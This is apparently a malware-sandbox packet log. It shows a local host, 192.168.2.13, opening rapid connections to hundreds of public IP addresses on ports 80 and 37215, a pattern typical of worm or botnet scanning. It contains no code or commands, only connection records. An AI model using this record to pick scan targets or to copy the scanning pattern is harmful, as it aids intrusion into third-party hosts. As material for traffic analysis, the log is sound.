Jan 5, 2025 14:34:53.014714956 CET	47174	80	192.168.2.13	125.76.10.156
Jan 5, 2025 14:34:53.015060902 CET	47552	37215	192.168.2.13	156.141.101.219
Jan 5, 2025 14:34:53.015060902 CET	47552	37215	192.168.2.13	156.141.101.219
Jan 5, 2025 14:34:53.015441895 CET	37215	35934	197.169.104.42	192.168.2.13
Jan 5, 2025 14:34:53.016594887 CET	47866	37215	192.168.2.13	156.141.101.219
Jan 5, 2025 14:34:53.017467022 CET	50956	80	192.168.2.13	192.214.235.88
Jan 5, 2025 14:34:53.017590046 CET	46538	37215	192.168.2.13	156.229.176.50
Jan 5, 2025 14:34:53.017591000 CET	46538	37215	192.168.2.13	156.229.176.50
Jan 5, 2025 14:34:53.018415928 CET	46798	37215	192.168.2.13	156.229.176.50
Jan 5, 2025 14:34:53.019049883 CET	58454	80	192.168.2.13	44.83.48.22
Jan 5, 2025 14:34:53.019299984 CET	44110	37215	192.168.2.13	156.58.77.185
Jan 5, 2025 14:34:53.019341946 CET	44110	37215	192.168.2.13	156.58.77.185
Jan 5, 2025 14:34:53.019889116 CET	37215	47552	156.141.101.219	192.168.2.13
Jan 5, 2025 14:34:53.020153046 CET	44348	37215	192.168.2.13	156.58.77.185
Jan 5, 2025 14:34:53.020941019 CET	52816	80	192.168.2.13	124.176.167.7
Jan 5, 2025 14:34:53.021049023 CET	39302	37215	192.168.2.13	41.56.98.126
Jan 5, 2025 14:34:53.021049023 CET	39302	37215	192.168.2.13	41.56.98.126
Jan 5, 2025 14:34:53.021401882 CET	37215	47866	156.141.101.219	192.168.2.13
Jan 5, 2025 14:34:53.021622896 CET	47866	37215	192.168.2.13	156.141.101.219
Jan 5, 2025 14:34:53.022089005 CET	39450	37215	192.168.2.13	41.56.98.126
Jan 5, 2025 14:34:53.022372007 CET	37215	46538	156.229.176.50	192.168.2.13
Jan 5, 2025 14:34:53.022763014 CET	59190	80	192.168.2.13	108.171.105.201
Jan 5, 2025 14:34:53.023027897 CET	38462	37215	192.168.2.13	41.86.194.51
Jan 5, 2025 14:34:53.023052931 CET	38462	37215	192.168.2.13	41.86.194.51
Jan 5, 2025 14:34:53.023760080 CET	38592	37215	192.168.2.13	41.86.194.51
Jan 5, 2025 14:34:53.024117947 CET	37215	44110	156.58.77.185	192.168.2.13
Jan 5, 2025 14:34:53.024446964 CET	47880	80	192.168.2.13	203.213.57.208
Jan 5, 2025 14:34:53.024578094 CET	51950	37215	192.168.2.13	156.139.201.209
Jan 5, 2025 14:34:53.024578094 CET	51950	37215	192.168.2.13	156.139.201.209
Jan 5, 2025 14:34:53.025486946 CET	52054	37215	192.168.2.13	156.139.201.209
Jan 5, 2025 14:34:53.025866985 CET	37215	39302	41.56.98.126	192.168.2.13
Jan 5, 2025 14:34:53.026170015 CET	54510	80	192.168.2.13	199.250.9.123
Jan 5, 2025 14:34:53.026539087 CET	50562	37215	192.168.2.13	156.108.75.55
Jan 5, 2025 14:34:53.026607990 CET	47866	37215	192.168.2.13	156.141.101.219
Jan 5, 2025 14:34:53.027385950 CET	54456	80	192.168.2.13	196.241.10.180
Jan 5, 2025 14:34:53.027815104 CET	37215	38462	41.86.194.51	192.168.2.13
Jan 5, 2025 14:34:53.028196096 CET	38472	80	192.168.2.13	5.252.142.147
Jan 5, 2025 14:34:53.028532028 CET	37215	38592	41.86.194.51	192.168.2.13
Jan 5, 2025 14:34:53.028615952 CET	38592	37215	192.168.2.13	41.86.194.51
Jan 5, 2025 14:34:53.028615952 CET	38592	37215	192.168.2.13	41.86.194.51
Jan 5, 2025 14:34:53.029083967 CET	34502	80	192.168.2.13	211.227.233.63
Jan 5, 2025 14:34:53.029402971 CET	37215	51950	156.139.201.209	192.168.2.13
Jan 5, 2025 14:34:53.030059099 CET	41514	80	192.168.2.13	161.107.166.33
Jan 5, 2025 14:34:53.030870914 CET	46980	80	192.168.2.13	120.108.229.41
Jan 5, 2025 14:34:53.031407118 CET	37215	50562	156.108.75.55	192.168.2.13
Jan 5, 2025 14:34:53.031421900 CET	37215	47866	156.141.101.219	192.168.2.13
Jan 5, 2025 14:34:53.031444073 CET	50562	37215	192.168.2.13	156.108.75.55
Jan 5, 2025 14:34:53.031475067 CET	47866	37215	192.168.2.13	156.141.101.219
Jan 5, 2025 14:34:53.031831980 CET	39636	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:53.032769918 CET	35464	80	192.168.2.13	77.51.64.168
Jan 5, 2025 14:34:53.033617020 CET	37215	38592	41.86.194.51	192.168.2.13
Jan 5, 2025 14:34:53.033673048 CET	38592	37215	192.168.2.13	41.86.194.51
Jan 5, 2025 14:34:53.033739090 CET	45144	80	192.168.2.13	46.69.101.35
Jan 5, 2025 14:34:53.034539938 CET	59744	80	192.168.2.13	166.193.19.8
Jan 5, 2025 14:34:53.035408020 CET	51310	80	192.168.2.13	86.6.121.248
Jan 5, 2025 14:34:53.036147118 CET	33316	80	192.168.2.13	126.216.109.113
Jan 5, 2025 14:34:53.037003994 CET	29477	80	192.168.2.13	93.112.234.104
Jan 5, 2025 14:34:53.037020922 CET	29477	80	192.168.2.13	134.26.242.107
Jan 5, 2025 14:34:53.037022114 CET	29477	80	192.168.2.13	74.183.55.78
Jan 5, 2025 14:34:53.037022114 CET	29477	80	192.168.2.13	117.103.137.165
Jan 5, 2025 14:34:53.037026882 CET	29477	80	192.168.2.13	51.97.51.182
Jan 5, 2025 14:34:53.037034988 CET	29477	80	192.168.2.13	165.238.240.138
Jan 5, 2025 14:34:53.037049055 CET	29477	80	192.168.2.13	160.86.244.91
Jan 5, 2025 14:34:53.037049055 CET	29477	80	192.168.2.13	124.249.78.182
Jan 5, 2025 14:34:53.037055016 CET	29477	80	192.168.2.13	58.16.16.86
Jan 5, 2025 14:34:53.037062883 CET	29477	80	192.168.2.13	87.195.10.60
Jan 5, 2025 14:34:53.037069082 CET	29477	80	192.168.2.13	27.31.252.197
Jan 5, 2025 14:34:53.037080050 CET	29477	80	192.168.2.13	20.171.131.159
Jan 5, 2025 14:34:53.037081957 CET	29477	80	192.168.2.13	160.67.70.155
Jan 5, 2025 14:34:53.037090063 CET	29477	80	192.168.2.13	152.195.76.206
Jan 5, 2025 14:34:53.037091970 CET	29477	80	192.168.2.13	128.255.35.119
Jan 5, 2025 14:34:53.037101030 CET	29477	80	192.168.2.13	110.81.71.187
Jan 5, 2025 14:34:53.037106991 CET	29477	80	192.168.2.13	70.233.158.247
Jan 5, 2025 14:34:53.037110090 CET	29477	80	192.168.2.13	133.216.160.0
Jan 5, 2025 14:34:53.037113905 CET	29477	80	192.168.2.13	13.158.210.160
Jan 5, 2025 14:34:53.037113905 CET	29477	80	192.168.2.13	23.72.154.78
Jan 5, 2025 14:34:53.037113905 CET	29477	80	192.168.2.13	50.131.189.106
Jan 5, 2025 14:34:53.037137032 CET	29477	80	192.168.2.13	109.99.107.53
Jan 5, 2025 14:34:53.037142038 CET	29477	80	192.168.2.13	32.95.4.142
Jan 5, 2025 14:34:53.037142992 CET	29477	80	192.168.2.13	77.219.124.80
Jan 5, 2025 14:34:53.037151098 CET	29477	80	192.168.2.13	2.146.76.221
Jan 5, 2025 14:34:53.037158966 CET	29477	80	192.168.2.13	174.204.115.207
Jan 5, 2025 14:34:53.037173986 CET	29477	80	192.168.2.13	112.185.84.196
Jan 5, 2025 14:34:53.037175894 CET	29477	80	192.168.2.13	77.158.122.176
Jan 5, 2025 14:34:53.037177086 CET	29477	80	192.168.2.13	68.170.180.221
Jan 5, 2025 14:34:53.037189960 CET	29477	80	192.168.2.13	133.80.104.57
Jan 5, 2025 14:34:53.037200928 CET	29477	80	192.168.2.13	210.27.78.203
Jan 5, 2025 14:34:53.037200928 CET	29477	80	192.168.2.13	219.129.1.221
Jan 5, 2025 14:34:53.037214041 CET	29477	80	192.168.2.13	113.119.175.50
Jan 5, 2025 14:34:53.037218094 CET	29477	80	192.168.2.13	145.227.102.159
Jan 5, 2025 14:34:53.037226915 CET	29477	80	192.168.2.13	136.60.47.202
Jan 5, 2025 14:34:53.037230015 CET	29477	80	192.168.2.13	66.52.153.209
Jan 5, 2025 14:34:53.037230015 CET	29477	80	192.168.2.13	218.154.51.242
Jan 5, 2025 14:34:53.037235022 CET	29477	80	192.168.2.13	157.123.51.108
Jan 5, 2025 14:34:53.037241936 CET	29477	80	192.168.2.13	48.73.231.168
Jan 5, 2025 14:34:53.037273884 CET	29477	80	192.168.2.13	189.12.173.187
Jan 5, 2025 14:34:53.037273884 CET	29477	80	192.168.2.13	118.131.217.143
Jan 5, 2025 14:34:53.037273884 CET	29477	80	192.168.2.13	71.16.52.252
Jan 5, 2025 14:34:53.037276030 CET	29477	80	192.168.2.13	162.120.199.156
Jan 5, 2025 14:34:53.037288904 CET	29477	80	192.168.2.13	72.43.95.206
Jan 5, 2025 14:34:53.037293911 CET	29477	80	192.168.2.13	173.210.45.198
Jan 5, 2025 14:34:53.037295103 CET	29477	80	192.168.2.13	53.155.159.63
Jan 5, 2025 14:34:53.037302017 CET	29477	80	192.168.2.13	183.93.251.162
Jan 5, 2025 14:34:53.037303925 CET	29477	80	192.168.2.13	18.20.97.6
Jan 5, 2025 14:34:53.037314892 CET	29477	80	192.168.2.13	2.71.67.46
Jan 5, 2025 14:34:53.037321091 CET	29477	80	192.168.2.13	84.167.127.214
Jan 5, 2025 14:34:53.037328959 CET	29477	80	192.168.2.13	210.62.242.219
Jan 5, 2025 14:34:53.037331104 CET	29477	80	192.168.2.13	195.38.68.150
Jan 5, 2025 14:34:53.037342072 CET	29477	80	192.168.2.13	59.8.206.94
Jan 5, 2025 14:34:53.037343025 CET	29477	80	192.168.2.13	103.145.246.250
Jan 5, 2025 14:34:53.037348032 CET	29477	80	192.168.2.13	193.236.129.22
Jan 5, 2025 14:34:53.037352085 CET	29477	80	192.168.2.13	165.62.46.24
Jan 5, 2025 14:34:53.037358046 CET	29477	80	192.168.2.13	147.228.18.44
Jan 5, 2025 14:34:53.037358999 CET	29477	80	192.168.2.13	183.213.96.197
Jan 5, 2025 14:34:53.037372112 CET	29477	80	192.168.2.13	186.0.158.211
Jan 5, 2025 14:34:53.037375927 CET	29477	80	192.168.2.13	63.120.151.191
Jan 5, 2025 14:34:53.037381887 CET	29477	80	192.168.2.13	90.126.54.216
Jan 5, 2025 14:34:53.037389994 CET	29477	80	192.168.2.13	183.144.57.9
Jan 5, 2025 14:34:53.037389994 CET	29477	80	192.168.2.13	116.45.30.57
Jan 5, 2025 14:34:53.037399054 CET	29477	80	192.168.2.13	144.10.240.163
Jan 5, 2025 14:34:53.037395954 CET	29477	80	192.168.2.13	44.167.127.101
Jan 5, 2025 14:34:53.037399054 CET	29477	80	192.168.2.13	50.92.183.171
Jan 5, 2025 14:34:53.037399054 CET	29477	80	192.168.2.13	146.168.190.23
Jan 5, 2025 14:34:53.037406921 CET	29477	80	192.168.2.13	144.198.246.204
Jan 5, 2025 14:34:53.037419081 CET	29477	80	192.168.2.13	195.172.38.194
Jan 5, 2025 14:34:53.037421942 CET	29477	80	192.168.2.13	210.186.7.182
Jan 5, 2025 14:34:53.037421942 CET	29477	80	192.168.2.13	35.194.113.145
Jan 5, 2025 14:34:53.037421942 CET	29477	80	192.168.2.13	158.169.153.144
Jan 5, 2025 14:34:53.037425995 CET	29477	80	192.168.2.13	76.112.51.37
Jan 5, 2025 14:34:53.037432909 CET	29477	80	192.168.2.13	156.13.233.114
Jan 5, 2025 14:34:53.037434101 CET	29477	80	192.168.2.13	64.97.178.86
Jan 5, 2025 14:34:53.037445068 CET	29477	80	192.168.2.13	14.15.184.149
Jan 5, 2025 14:34:53.037445068 CET	29477	80	192.168.2.13	87.200.214.77
Jan 5, 2025 14:34:53.037447929 CET	29477	80	192.168.2.13	179.124.68.140
Jan 5, 2025 14:34:53.037461042 CET	29477	80	192.168.2.13	91.199.17.199
Jan 5, 2025 14:34:53.037465096 CET	29477	80	192.168.2.13	42.197.0.102
Jan 5, 2025 14:34:53.037465096 CET	29477	80	192.168.2.13	91.199.142.158
Jan 5, 2025 14:34:53.037465096 CET	29477	80	192.168.2.13	110.209.190.67
Jan 5, 2025 14:34:53.037475109 CET	29477	80	192.168.2.13	46.235.179.234
Jan 5, 2025 14:34:53.037494898 CET	29477	80	192.168.2.13	205.12.151.231
Jan 5, 2025 14:34:53.037496090 CET	29477	80	192.168.2.13	75.69.175.171
Jan 5, 2025 14:34:53.037494898 CET	29477	80	192.168.2.13	185.186.95.86
Jan 5, 2025 14:34:53.037497997 CET	29477	80	192.168.2.13	66.13.214.128
Jan 5, 2025 14:34:53.037497997 CET	29477	80	192.168.2.13	37.129.83.23
Jan 5, 2025 14:34:53.037502050 CET	29477	80	192.168.2.13	64.226.28.231
Jan 5, 2025 14:34:53.037503004 CET	29477	80	192.168.2.13	184.108.108.162
Jan 5, 2025 14:34:53.037516117 CET	29477	80	192.168.2.13	179.34.8.92
Jan 5, 2025 14:34:53.037527084 CET	29477	80	192.168.2.13	19.127.182.166
Jan 5, 2025 14:34:53.037533998 CET	29477	80	192.168.2.13	82.170.7.58
Jan 5, 2025 14:34:53.037533998 CET	29477	80	192.168.2.13	59.97.28.69
Jan 5, 2025 14:34:53.037540913 CET	29477	80	192.168.2.13	125.33.127.34
Jan 5, 2025 14:34:53.037553072 CET	29477	80	192.168.2.13	165.124.228.209
Jan 5, 2025 14:34:53.037561893 CET	29477	80	192.168.2.13	1.81.180.69
Jan 5, 2025 14:34:53.037569046 CET	29477	80	192.168.2.13	43.71.90.227
Jan 5, 2025 14:34:53.037569046 CET	29477	80	192.168.2.13	200.199.218.184
Jan 5, 2025 14:34:53.037580967 CET	29477	80	192.168.2.13	194.87.140.234
Jan 5, 2025 14:34:53.037583113 CET	29477	80	192.168.2.13	219.215.157.78
Jan 5, 2025 14:34:53.037586927 CET	29477	80	192.168.2.13	85.246.255.208
Jan 5, 2025 14:34:53.037592888 CET	29477	80	192.168.2.13	206.63.149.236
Jan 5, 2025 14:34:53.037596941 CET	29477	80	192.168.2.13	4.121.185.249
Jan 5, 2025 14:34:53.037600040 CET	29477	80	192.168.2.13	48.61.8.94
Jan 5, 2025 14:34:53.037600040 CET	29477	80	192.168.2.13	220.22.217.26
Jan 5, 2025 14:34:53.037602901 CET	29477	80	192.168.2.13	188.11.91.46
Jan 5, 2025 14:34:53.037619114 CET	29477	80	192.168.2.13	104.7.169.195
Jan 5, 2025 14:34:53.037625074 CET	29477	80	192.168.2.13	95.16.61.23
Jan 5, 2025 14:34:53.037626982 CET	29477	80	192.168.2.13	174.114.196.214
Jan 5, 2025 14:34:53.037635088 CET	29477	80	192.168.2.13	115.57.122.36
Jan 5, 2025 14:34:53.037641048 CET	29477	80	192.168.2.13	32.65.5.242
Jan 5, 2025 14:34:53.037645102 CET	29477	80	192.168.2.13	213.218.159.232
Jan 5, 2025 14:34:53.037645102 CET	29477	80	192.168.2.13	63.50.33.10
Jan 5, 2025 14:34:53.037652016 CET	29477	80	192.168.2.13	209.56.139.4
Jan 5, 2025 14:34:53.037657976 CET	29477	80	192.168.2.13	143.27.123.229
Jan 5, 2025 14:34:53.037664890 CET	29477	80	192.168.2.13	86.35.14.233
Jan 5, 2025 14:34:53.037671089 CET	29477	80	192.168.2.13	202.138.128.125
Jan 5, 2025 14:34:53.037671089 CET	29477	80	192.168.2.13	212.13.179.129
Jan 5, 2025 14:34:53.037687063 CET	29477	80	192.168.2.13	4.39.88.176
Jan 5, 2025 14:34:53.037688017 CET	29477	80	192.168.2.13	179.163.178.91
Jan 5, 2025 14:34:53.037688017 CET	29477	80	192.168.2.13	54.67.180.177
Jan 5, 2025 14:34:53.037704945 CET	29477	80	192.168.2.13	112.58.24.73
Jan 5, 2025 14:34:53.037708044 CET	29477	80	192.168.2.13	49.145.96.139
Jan 5, 2025 14:34:53.037712097 CET	29477	80	192.168.2.13	132.247.49.179
Jan 5, 2025 14:34:53.037714958 CET	29477	80	192.168.2.13	176.89.16.214
Jan 5, 2025 14:34:53.037727118 CET	29477	80	192.168.2.13	89.165.172.45
Jan 5, 2025 14:34:53.037727118 CET	29477	80	192.168.2.13	110.1.11.58
Jan 5, 2025 14:34:53.037755013 CET	29477	80	192.168.2.13	57.119.176.22
Jan 5, 2025 14:34:53.037761927 CET	29477	80	192.168.2.13	210.42.207.30
Jan 5, 2025 14:34:53.037761927 CET	29477	80	192.168.2.13	40.149.151.64
Jan 5, 2025 14:34:53.037770033 CET	29477	80	192.168.2.13	137.11.139.177
Jan 5, 2025 14:34:53.037771940 CET	29477	80	192.168.2.13	39.177.68.173
Jan 5, 2025 14:34:53.037771940 CET	29477	80	192.168.2.13	173.34.232.97
Jan 5, 2025 14:34:53.037772894 CET	29477	80	192.168.2.13	82.52.141.236
Jan 5, 2025 14:34:53.037780046 CET	29477	80	192.168.2.13	93.88.252.135
Jan 5, 2025 14:34:53.037781000 CET	29477	80	192.168.2.13	100.6.56.81
Jan 5, 2025 14:34:53.037798882 CET	29477	80	192.168.2.13	156.17.229.77
Jan 5, 2025 14:34:53.037798882 CET	29477	80	192.168.2.13	196.220.141.71
Jan 5, 2025 14:34:53.037800074 CET	29477	80	192.168.2.13	95.191.210.13
Jan 5, 2025 14:34:53.037800074 CET	29477	80	192.168.2.13	82.173.33.83
Jan 5, 2025 14:34:53.037815094 CET	29477	80	192.168.2.13	202.53.231.49
Jan 5, 2025 14:34:53.037822008 CET	29477	80	192.168.2.13	144.16.83.9
Jan 5, 2025 14:34:53.037825108 CET	29477	80	192.168.2.13	62.204.203.142
Jan 5, 2025 14:34:53.037825108 CET	29477	80	192.168.2.13	213.119.76.17
Jan 5, 2025 14:34:53.037832975 CET	29477	80	192.168.2.13	197.4.226.31
Jan 5, 2025 14:34:53.037832975 CET	29477	80	192.168.2.13	145.4.76.45
Jan 5, 2025 14:34:53.037839890 CET	29477	80	192.168.2.13	32.23.31.142
Jan 5, 2025 14:34:53.037842989 CET	29477	80	192.168.2.13	206.77.161.172
Jan 5, 2025 14:34:53.037853003 CET	29477	80	192.168.2.13	211.123.215.75
Jan 5, 2025 14:34:53.037867069 CET	29477	80	192.168.2.13	179.39.28.179
Jan 5, 2025 14:34:53.037875891 CET	29477	80	192.168.2.13	181.172.187.95
Jan 5, 2025 14:34:53.037878036 CET	29477	80	192.168.2.13	129.59.117.126
Jan 5, 2025 14:34:53.037890911 CET	29477	80	192.168.2.13	203.199.149.95
Jan 5, 2025 14:34:53.037890911 CET	29477	80	192.168.2.13	173.121.100.233
Jan 5, 2025 14:34:53.037894964 CET	29477	80	192.168.2.13	52.248.19.86
Jan 5, 2025 14:34:53.037898064 CET	29477	80	192.168.2.13	162.248.132.196
Jan 5, 2025 14:34:53.037898064 CET	29477	80	192.168.2.13	193.200.6.230
Jan 5, 2025 14:34:53.037904978 CET	29477	80	192.168.2.13	204.107.99.11
Jan 5, 2025 14:34:53.037915945 CET	29477	80	192.168.2.13	132.223.220.36
Jan 5, 2025 14:34:53.037921906 CET	29477	80	192.168.2.13	57.192.166.141
Jan 5, 2025 14:34:53.037923098 CET	29477	80	192.168.2.13	160.16.179.93
Jan 5, 2025 14:34:53.037924051 CET	29477	80	192.168.2.13	210.240.108.115
Jan 5, 2025 14:34:53.037930012 CET	29477	80	192.168.2.13	113.38.206.196
Jan 5, 2025 14:34:53.037944078 CET	29477	80	192.168.2.13	179.127.241.198
Jan 5, 2025 14:34:53.037946939 CET	29477	80	192.168.2.13	128.59.106.154
Jan 5, 2025 14:34:53.037954092 CET	29477	80	192.168.2.13	57.255.39.33
Jan 5, 2025 14:34:53.037955046 CET	29477	80	192.168.2.13	158.82.106.179
Jan 5, 2025 14:34:53.037955046 CET	29477	80	192.168.2.13	206.80.117.214
Jan 5, 2025 14:34:53.037961960 CET	29477	80	192.168.2.13	32.204.20.170
Jan 5, 2025 14:34:53.037962914 CET	29477	80	192.168.2.13	13.189.168.241
Jan 5, 2025 14:34:53.037976027 CET	29477	80	192.168.2.13	87.11.228.180
Jan 5, 2025 14:34:53.037980080 CET	29477	80	192.168.2.13	146.213.178.65
Jan 5, 2025 14:34:53.037980080 CET	29477	80	192.168.2.13	187.86.242.98
Jan 5, 2025 14:34:53.037985086 CET	29477	80	192.168.2.13	149.12.105.157
Jan 5, 2025 14:34:53.038000107 CET	29477	80	192.168.2.13	34.196.232.119
Jan 5, 2025 14:34:53.038002968 CET	29477	80	192.168.2.13	156.43.41.57
Jan 5, 2025 14:34:53.038002968 CET	29477	80	192.168.2.13	165.44.174.129
Jan 5, 2025 14:34:53.038009882 CET	29477	80	192.168.2.13	76.121.133.103
Jan 5, 2025 14:34:53.038011074 CET	29477	80	192.168.2.13	169.135.212.88
Jan 5, 2025 14:34:53.038017988 CET	29477	80	192.168.2.13	94.160.92.25
Jan 5, 2025 14:34:53.038027048 CET	29477	80	192.168.2.13	18.190.1.34
Jan 5, 2025 14:34:53.038028955 CET	29477	80	192.168.2.13	112.147.31.223
Jan 5, 2025 14:34:53.038036108 CET	29477	80	192.168.2.13	114.56.180.50
Jan 5, 2025 14:34:53.038045883 CET	29477	80	192.168.2.13	84.218.183.235
Jan 5, 2025 14:34:53.038057089 CET	29477	80	192.168.2.13	168.196.7.59
Jan 5, 2025 14:34:53.038055897 CET	29477	80	192.168.2.13	116.36.216.249
Jan 5, 2025 14:34:53.038055897 CET	29477	80	192.168.2.13	97.226.209.210
Jan 5, 2025 14:34:53.038055897 CET	29477	80	192.168.2.13	172.121.92.5
Jan 5, 2025 14:34:53.038055897 CET	29477	80	192.168.2.13	52.193.211.3
Jan 5, 2025 14:34:53.038067102 CET	29477	80	192.168.2.13	114.18.154.53
Jan 5, 2025 14:34:53.038069963 CET	29477	80	192.168.2.13	71.153.229.178
Jan 5, 2025 14:34:53.038075924 CET	29477	80	192.168.2.13	175.210.12.34
Jan 5, 2025 14:34:53.038091898 CET	29477	80	192.168.2.13	67.234.155.50
Jan 5, 2025 14:34:53.038091898 CET	29477	80	192.168.2.13	219.250.2.96
Jan 5, 2025 14:34:53.038096905 CET	29477	80	192.168.2.13	23.168.119.105
Jan 5, 2025 14:34:53.038096905 CET	29477	80	192.168.2.13	74.64.103.55
Jan 5, 2025 14:34:53.038105011 CET	29477	80	192.168.2.13	117.134.134.165
Jan 5, 2025 14:34:53.038116932 CET	29477	80	192.168.2.13	37.178.137.117
Jan 5, 2025 14:34:53.038132906 CET	29477	80	192.168.2.13	169.16.63.175
Jan 5, 2025 14:34:53.038132906 CET	29477	80	192.168.2.13	152.28.181.29
Jan 5, 2025 14:34:53.038132906 CET	29477	80	192.168.2.13	42.2.78.192
Jan 5, 2025 14:34:53.038136005 CET	29477	80	192.168.2.13	180.61.107.122
Jan 5, 2025 14:34:53.038136005 CET	29477	80	192.168.2.13	195.180.41.200
Jan 5, 2025 14:34:53.038141966 CET	29477	80	192.168.2.13	133.149.130.116
Jan 5, 2025 14:34:53.038151026 CET	29477	80	192.168.2.13	76.96.200.240
Jan 5, 2025 14:34:53.038156033 CET	29477	80	192.168.2.13	100.184.178.97
Jan 5, 2025 14:34:53.038156033 CET	29477	80	192.168.2.13	207.115.126.92
Jan 5, 2025 14:34:53.038163900 CET	29477	80	192.168.2.13	193.44.243.148
Jan 5, 2025 14:34:53.038167000 CET	29477	80	192.168.2.13	171.154.51.178
Jan 5, 2025 14:34:53.038167000 CET	29477	80	192.168.2.13	192.223.201.98
Jan 5, 2025 14:34:53.038182020 CET	29477	80	192.168.2.13	63.10.61.30
Jan 5, 2025 14:34:53.038188934 CET	29477	80	192.168.2.13	170.57.200.237
Jan 5, 2025 14:34:53.038197041 CET	29477	80	192.168.2.13	190.110.142.125
Jan 5, 2025 14:34:53.038203001 CET	29477	80	192.168.2.13	92.19.117.29
Jan 5, 2025 14:34:53.038203001 CET	29477	80	192.168.2.13	1.164.85.154
Jan 5, 2025 14:34:53.038204908 CET	29477	80	192.168.2.13	182.92.46.113
Jan 5, 2025 14:34:53.038224936 CET	29477	80	192.168.2.13	101.115.71.255
Jan 5, 2025 14:34:53.038230896 CET	29477	80	192.168.2.13	57.212.113.155
Jan 5, 2025 14:34:53.038230896 CET	29477	80	192.168.2.13	147.66.62.10
Jan 5, 2025 14:34:53.038230896 CET	29477	80	192.168.2.13	188.94.216.232
Jan 5, 2025 14:34:53.038237095 CET	29477	80	192.168.2.13	82.49.242.231
Jan 5, 2025 14:34:53.038266897 CET	29477	80	192.168.2.13	84.96.233.119
Jan 5, 2025 14:34:53.038268089 CET	29477	80	192.168.2.13	87.115.63.119
Jan 5, 2025 14:34:53.038270950 CET	29477	80	192.168.2.13	65.14.200.241
Jan 5, 2025 14:34:53.038281918 CET	29477	80	192.168.2.13	209.82.44.144
Jan 5, 2025 14:34:53.038284063 CET	29477	80	192.168.2.13	221.238.146.97
Jan 5, 2025 14:34:53.038284063 CET	29477	80	192.168.2.13	206.57.178.14
Jan 5, 2025 14:34:53.038288116 CET	29477	80	192.168.2.13	77.29.203.87
Jan 5, 2025 14:34:53.038304090 CET	29477	80	192.168.2.13	221.82.105.210
Jan 5, 2025 14:34:53.038306952 CET	29477	80	192.168.2.13	71.104.83.143
Jan 5, 2025 14:34:53.038306952 CET	29477	80	192.168.2.13	99.25.138.62
Jan 5, 2025 14:34:53.038306952 CET	29477	80	192.168.2.13	4.230.144.242
Jan 5, 2025 14:34:53.038327932 CET	29477	80	192.168.2.13	212.195.24.49
Jan 5, 2025 14:34:53.038327932 CET	29477	80	192.168.2.13	18.119.186.122
Jan 5, 2025 14:34:53.038341045 CET	29477	80	192.168.2.13	101.211.182.164
Jan 5, 2025 14:34:53.038347960 CET	29477	80	192.168.2.13	36.6.78.204
Jan 5, 2025 14:34:53.038351059 CET	29477	80	192.168.2.13	45.206.158.58
Jan 5, 2025 14:34:53.038351059 CET	29477	80	192.168.2.13	107.227.0.11
Jan 5, 2025 14:34:53.038361073 CET	29477	80	192.168.2.13	63.220.39.214
Jan 5, 2025 14:34:53.038383007 CET	29477	80	192.168.2.13	31.193.100.23
Jan 5, 2025 14:34:53.038388968 CET	29477	80	192.168.2.13	1.150.118.193
Jan 5, 2025 14:34:53.038397074 CET	29477	80	192.168.2.13	184.80.17.60
Jan 5, 2025 14:34:53.038402081 CET	29477	80	192.168.2.13	157.195.58.57
Jan 5, 2025 14:34:53.038402081 CET	29477	80	192.168.2.13	38.90.177.103
Jan 5, 2025 14:34:53.038402081 CET	29477	80	192.168.2.13	189.54.72.15
Jan 5, 2025 14:34:53.038403034 CET	29477	80	192.168.2.13	176.171.117.222
Jan 5, 2025 14:34:53.038412094 CET	29477	80	192.168.2.13	116.116.7.62
Jan 5, 2025 14:34:53.038415909 CET	29477	80	192.168.2.13	8.232.211.117
Jan 5, 2025 14:34:53.038420916 CET	29477	80	192.168.2.13	166.230.1.210
Jan 5, 2025 14:34:53.038440943 CET	29477	80	192.168.2.13	113.223.22.119
Jan 5, 2025 14:34:53.038451910 CET	29477	80	192.168.2.13	189.81.2.84
Jan 5, 2025 14:34:53.038460016 CET	29477	80	192.168.2.13	96.132.192.198
Jan 5, 2025 14:34:53.038464069 CET	29477	80	192.168.2.13	141.252.235.121
Jan 5, 2025 14:34:53.038464069 CET	29477	80	192.168.2.13	205.119.41.172
Jan 5, 2025 14:34:53.038467884 CET	29477	80	192.168.2.13	187.227.119.8
Jan 5, 2025 14:34:53.038482904 CET	29477	80	192.168.2.13	200.13.43.121
Jan 5, 2025 14:34:53.038482904 CET	29477	80	192.168.2.13	213.245.195.246
Jan 5, 2025 14:34:53.038510084 CET	29477	80	192.168.2.13	71.106.178.25
Jan 5, 2025 14:34:53.038511038 CET	29477	80	192.168.2.13	191.132.62.24
Jan 5, 2025 14:34:53.038516045 CET	29477	80	192.168.2.13	27.3.39.140
Jan 5, 2025 14:34:53.038527012 CET	29477	80	192.168.2.13	213.211.120.235
Jan 5, 2025 14:34:53.038530111 CET	29477	80	192.168.2.13	37.34.6.208
Jan 5, 2025 14:34:53.038530111 CET	29477	80	192.168.2.13	209.98.236.59
Jan 5, 2025 14:34:53.038532019 CET	29477	80	192.168.2.13	39.236.146.141
Jan 5, 2025 14:34:53.038532972 CET	29477	80	192.168.2.13	79.164.17.170
Jan 5, 2025 14:34:53.038547039 CET	29477	80	192.168.2.13	98.9.210.41
Jan 5, 2025 14:34:53.038556099 CET	29477	80	192.168.2.13	153.229.85.91
Jan 5, 2025 14:34:53.038557053 CET	29477	80	192.168.2.13	57.157.47.224
Jan 5, 2025 14:34:53.038573027 CET	29477	80	192.168.2.13	201.242.107.138
Jan 5, 2025 14:34:53.038579941 CET	29477	80	192.168.2.13	40.249.179.219
Jan 5, 2025 14:34:53.038582087 CET	29477	80	192.168.2.13	147.21.7.192
Jan 5, 2025 14:34:53.038582087 CET	29477	80	192.168.2.13	62.136.231.42
Jan 5, 2025 14:34:53.038587093 CET	29477	80	192.168.2.13	191.110.120.230
Jan 5, 2025 14:34:53.038590908 CET	29477	80	192.168.2.13	165.105.196.214
Jan 5, 2025 14:34:53.038597107 CET	29477	80	192.168.2.13	172.32.101.161
Jan 5, 2025 14:34:53.038597107 CET	29477	80	192.168.2.13	72.1.183.70
Jan 5, 2025 14:34:53.038604021 CET	29477	80	192.168.2.13	205.155.164.231
Jan 5, 2025 14:34:53.038615942 CET	29477	80	192.168.2.13	60.74.88.201
Jan 5, 2025 14:34:53.038621902 CET	29477	80	192.168.2.13	134.92.10.150
Jan 5, 2025 14:34:53.038625002 CET	29477	80	192.168.2.13	94.9.110.47
Jan 5, 2025 14:34:53.038628101 CET	29477	80	192.168.2.13	58.107.155.32
Jan 5, 2025 14:34:53.038639069 CET	29477	80	192.168.2.13	208.43.221.176
Jan 5, 2025 14:34:53.038640022 CET	29477	80	192.168.2.13	25.140.246.174
